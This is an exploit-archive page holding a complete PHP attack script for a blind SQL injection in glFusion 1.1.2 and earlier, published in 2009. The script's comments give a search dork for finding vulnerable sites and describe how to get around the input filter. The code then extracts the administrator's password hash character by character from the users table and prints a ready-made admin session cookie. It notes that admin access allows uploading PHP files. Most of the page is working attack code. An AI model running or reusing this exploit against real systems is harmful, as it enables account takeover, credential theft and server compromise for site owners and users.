Lucene search
K

glFusion <= 1.1.2 COM_applyFilter()/order SQL Injection Exploit

🗓️ 29 Mar 2009 00:00:00Reported by Nine:Situations:GroupType 
zdt
 zdt
🔗 0day.today👁 871 Views

glFusion SQL Injection Exploit <= 1.1.

Code
===============================================================
glFusion <= 1.1.2 COM_applyFilter()/order SQL Injection Exploit
===============================================================



<?php
    /*
        glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit
        by Nine:Situations:Group::bookoo

        working against Mysql >= 4.1
        php.ini independent

        google dork: "Page created in" "seconds by glFusion" +RSS

        Vulnerability, sql injection in 'order' and 'direction' arguments:
        look ExecuteQueries() function in /private/system/classes/listfactory.class.php, near line 336:
        ...

        // Get the details for sorting the list
        $this->_sort_arr['field'] = isset($_REQUEST['order']) ? COM_applyFilter($_REQUEST['order']) : $this->_def_sort_arr['field'];
        $this->_sort_arr['direction'] = isset($_REQUEST['direction']) ? COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction'];
        if (is_numeric($this->_sort_arr['field'])) {
            $ord = $this->_def_sort_arr['field'];
            $this->_sort_arr['field'] = SQL_TITLE;
        } else {
            $ord = $this->_sort_arr['field'];
        }

        $order_sql = ' ORDER BY ' . $ord . ' ' . strtoupper($this->_sort_arr['direction']);
        ...

        filters are inefficient, see COM_applyFilter() which calls COM_applyBasicFilter()
        in /public/lib-common.php near line 5774.

        We are in an ORDER clause and vars are not surrounded by quotes,
        bad chars are ex. "," , "/" ,"'", ";", "\",""","*","`"
	  but what about spaces and "("... you can use a CASE WHEN .. THEN .. ELSE .. END
	  construct instead of ex. IF(..,..,..) and "--" instead of "/*" to close
	  your query.
	  And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of
        SUBSTR(str,n,n) in a sub-SELECT statement.
	  Other attacks are possible, COM_applyFilter() is a very common used one.
	
	  Additional notes: 'direction' argument is uppercased by strtoupper(),
	  you know that table identifiers on Unix-like systems are case sensitives
	  but not on MS Windows, however I choosed to inject in the 'order' one
        for better results.
	  Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
	  $_COOKIE[], which is not intended I suppose.
	  
        This exploit extracts the hash from users table; also note that you do
        not need to crack the hash, you can authenticate as admin with the
        cookie:
		
	  glfusion=[uid]; glf_password=[hash];
		
	  as admin you can upload php files in public folders!
		
	  Very soft mitigations: glFusion does not show the table prefix in sql
        errors, default however is 'gl_'. I prepared a fast routine to extract
        it from information_schema db if availiable.
	  To successfully interrogate MySQL you need at least 2 records in the
        same topic section, however the default installation create 2 links with
        topic "glFusion"
        
    */

        $err[0]="[!] This script is intended to be launched from the cli!";
        $err[1]="[!] You need the curl extesion loaded!";

	  if (php_sapi_name() <> "cli") {
            die($err[0]);	
        }
        if (!extension_loaded('curl')) {
            $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
            if ($win) {
			    !dl("php_curl.dll") ? die($err[1]) : nil;
			}
			else {
			    !dl("php_curl.so") ? die($err[1]) : nil;
			}
        }

	  function syntax(){
	      print (			
	             "Syntax: php ".$argv[0]." [host] [path] [[port]] [OPTIONS]                \n".
	             "Options:                                                                 \n".
		       "--port:[port]       - specify a port                                     \n".
		       "                      default -> 80                                      \n".
		       "--prefix            - try to extract table prefix from information.schema\n".
		       "                      default -> gl_                                     \n".
		       "--uid:[n]           - specify an uid other than default (2,usually admin)\n".
		       "--proxy:[host:port] - use proxy                                          \n".
		       "--enforce           - try even with 'not vulnerable' message             ");
	     die();
	  }

        error_reporting(E_ALL ^ E_NOTICE);
        $host=$argv[1];
        $path=$argv[2];
        $prefix="gl_";      //default
        $uid="2";
        $where= "uid=$uid"; //user id, usually admin, anonymous = 1

	  $argv[2] ? print("[*] Attacking...\n") : syntax();
        $_f_prefix=false;
        $_use_proxy=false;
        $port=80;
        $_enforce=false;

        for ($i=3; $i<$argc; $i++){
            if ( stristr($argv[$i],"--prefix")){
	          $_f_prefix=true;
	      }
	      if ( stristr($argv[$i],"--proxy:")){
	          $_use_proxy=true;
		    $tmp=explode(":",$argv[$i]);
		    $proxy_host=$tmp[1];
		    $proxy_port=(int)$tmp[2];
	      }
	      if ( stristr($argv[$i],"--port:")){
	          $tmp=explode(":",$argv[$i]);
		    $port=(int)$tmp[1];
	      }
	      if ( stristr($argv[$i],"--enforce")){
	          $_enforce=true;
	      }
	      if ( stristr($argv[$i],"--uid")){
		    $tmp=explode(":",$argv[$i]);
		    $uid=(int)$tmp[1];
		    $where="uid=$uid";			
	      }
	  }

        $url = "http://$argv[1]:$port";

        function _s($url,$request)
        {
            global $_use_proxy,$proxy_host,$proxy_port;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,$url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");
            curl_setopt($ch, CURLOPT_TIMEOUT, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            if ($_use_proxy){
	        curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
            }
            $_d = curl_exec($ch);
	    if (curl_errno($ch)) {
                die("[!] ".curl_error($ch)."\n");
            } else {
                curl_close($ch);
            }
            return $_d;
        }

        function chk_err($s){
            if (stripos ($s,"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64")){
	        return true;
	    }
	    else {
	        return false;
	    }
        }

	function xtrct_tpc($_h){
	    $_x=explode("\x69\x6e\x64\x65\x78\x2e\x70\x68\x70\x3f\x74\x6f\x70\x69\x63\x3d",$_h);
	    $_y=array();
	    for ($i=1; $i<count($_x); $i++){
                $_tmp=explode("\x22",$_x[$i]);
                if ((!in_array($_tmp[0],$_y)) and ($_tmp[0]<>'')) {
                    $_y[$i]=$_tmp[0];
                }
            }
	    return $_y;
        }

	$url ="http://$host:$port".$path."index.php";
      $out= _s($url,"");
	$_tpcs=xtrct_tpc($out);
	$_types=array("links","stories","filemgmt","forum");
	$_t=false;
	for ($i=0; $i<count($_tpcs); $i++){
	    for ($j=0; $j<count($_types); $j++){
	        $url ="http://$host:$port".$path."search.php?query=a+a+a&keyType=all&datestart=&dateend=&topic=".$_tpcs[$i]."&type=".$_types[$j]."&author=0&results=25&mode=search";
              $out= _s($url,"");
              $mtchs=explode("\x3e\x32\x2e", $out);
              if (count($mtchs)==2){
                  $_t=true;
		      break;	
		  }
          }
      }

      if ($_t==true){
          $type = $_types[$j];
          $topic= $_tpcs[$i];
      } else {
          $type=  "links";         //section with at least 2 records of the same topic
          $topic= "glFusion";      //existing topic in section
      }

      print("[*] topic -> '".$topic."', type -> '".$type."'\n");
      $prepend="query=&topic=".$topic."&keyType=phrase";
	
	//checking for vulnerability existence ...
	$url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search&order=";
      $_d="order=--;";
	$out= _s($url,$_d);

	//version compatibility
      if (stripos($out,"\x73\x68\x6f\x75\x6c\x64\x20\x68\x61\x76\x65\x20\x61\x74\x20\x6c\x65\x61\x73\x74\x20\x33\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73")){
	    $prepend="query=a+a+a&topic=0&keyType=all";
	    $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search";
    	    $out= _s($url,$_d);
	}

      if (chk_err($out)) {
	    print("[*] Vulnerable ...\n");
	} else {
	    print("[!] Not vulnerable ...\n");
	    if (!$_enforce){
	        die;	
	    }
	}
	
	switch ($type) {
            case $_types[0]:
                $_order = array("id","url","description","title","hits","date","uid");
	      break;
            case $_types[1]:
                $_order = array("id","title","description","date","uid","hits","url");
            break;
            case $_types[2]:
                $_order = array("id","uid","comments","hits","date","description","url");
            break;
            case $_types[3]:
                $_order = array("id","name","forum","date","title","description","hits","uid");
            break;

      } 	

      function xtrct_lnk($_h){
	    $_x=explode("\x3e\x31\x2e",$_h);
          $_x=explode("\x3c\x61\x20\x68\x72\x65\x66\x3d\x22",$_x[1]);
          $_x=explode("\x22",$_x[1]);
	    return html_entity_decode($_x[0]);
      }

	//checking for exploitability ...
	$sql = urlencode("(CASE WHEN (SELECT 1) THEN 1 ELSE 1 END) LIMIT 1--");
      $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
      $_d="order=".$sql.";";
	$out= _s($url,$_d);
      if (chk_err($out)) {
     	    die("[!] Mysql < 4.1 ...");
	} else {
	    print "[*] Subquery works, exploiting ...\n";
	}
	
      $_lnks = array();
	$v = array();
	for ($i=0; $i<count($_order); $i++){
	    $sql = urlencode("$_order[$i] LIMIT 1--");
          $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
          $_d="order=".$sql.";";
	    $_o= _s($url,$_d);
          $l=xtrct_lnk($_o);
	    if (!in_array($l,$_lnks)) {
	        array_push($_lnks,$l);
		  array_push($v,$_order[$i]);
	    }
	    if (count($v)>1) {
	        print "[*] '".$v[0]."' and '".$v[1]."' in ORDER clause returs different records, good! \n";
	        break;
	    }
      }

      if  (count($v)<=1) {die("[!] Unable to interrogate database: ".count(v)." record(s) in table ... need at least 2 with topic '".$topic." in section '".$type."' !");}
   	
      function find_prefix(){
          global $_lnks ,$v, $type, $host, $port, $path, $prepend;
          $_table_name="";
          $j=1;
          print "[*] Table name -> ";
    	    while (!strstr($_table_name,chr(0))){
              $mn=0x00;$mx=0xff;
	        while (1){
	            if (($mx + $mn) % 2 ==1){
                      $c= round(($mx + $mn) / 2) - 1;
                   } else {
		          $c= round(($mx + $mn) / 2);
	            }
	            $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) >= ".$c.") FROM information_schema.TABLES WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                  $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
		      $_d="order=".$sql.";";
		      $_o= _s($url,$_d);
		      if (chk_err($_o)) {
     	                die("\n[!] information_schema not availiable!");
	            }
                  $l=xtrct_lnk($_o);
                  if ($l==$_lnks[0]){
                      $mn = $c;
		      }
                  else {
                      $mx = $c - 1;	
	            }
			
		      if (($mx-$mn==1) or ($mx==$mn)){
		          $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) = ".$mn.") FROM information_schema.tables WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                      $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
		          $_d="order=".$sql.";";
		          $_o= _s($url,$_d);
		          $l=xtrct_lnk($_o);
		          if ($l==$_lnks[0]){
                          print chr($mn);
                          $_table_name.=chr($mn);
                      } else {
	                    print chr($mx);	
	                    $_table_name.=chr($mx);
	                }
	                break;
	            }
	        }
	    $j++;
          }
	    print "\n";
	    $_prefix = str_replace("trackbackcodes","",$_table_name);
	    return $_prefix;
      }

      if ($_f_prefix == true) {
          $prefix=find_prefix();
	    print "[*] Table prefix -> ".$prefix."\n";
      }

      $c=array();$c=array_merge($c,range(0x30,0x39));$c=array_merge($c,range(0x61,0x66));
      print "[*] hash -> ";
      $_hash="";
      for ($j=1; $j<0x21; $j++){
          for ($i=1; $i<=0xff; $i++){
	        $f=false;
 	        if (in_array($i,$c)){
	            $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(PASSWD FROM $j FOR 1))=$i) FROM ".$prefix."users WHERE $where LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                  $url ="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
                  $_d="order=".$sql.";";
		      $_o= _s($url,$_d);
		      if (chk_err($_o)) {
     	                die("\n[!] wrong table prefix!");
	            }
                  $l=xtrct_lnk($_o);
                  if ($l==$_lnks[0]){
                      $f=true;
		          $_hash.=chr($i);
		          print chr($i); break;
		      }
              }
	    }
	    if ($f==false){
              die("\n[!] Unknown error ...");		
	    }
      }  
      print "\n[*] your cookie -> glfusion=".$uid."; glf_password=".$_hash."; glf_theme=nouveau;";
?>





#  0day.today [2018-02-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation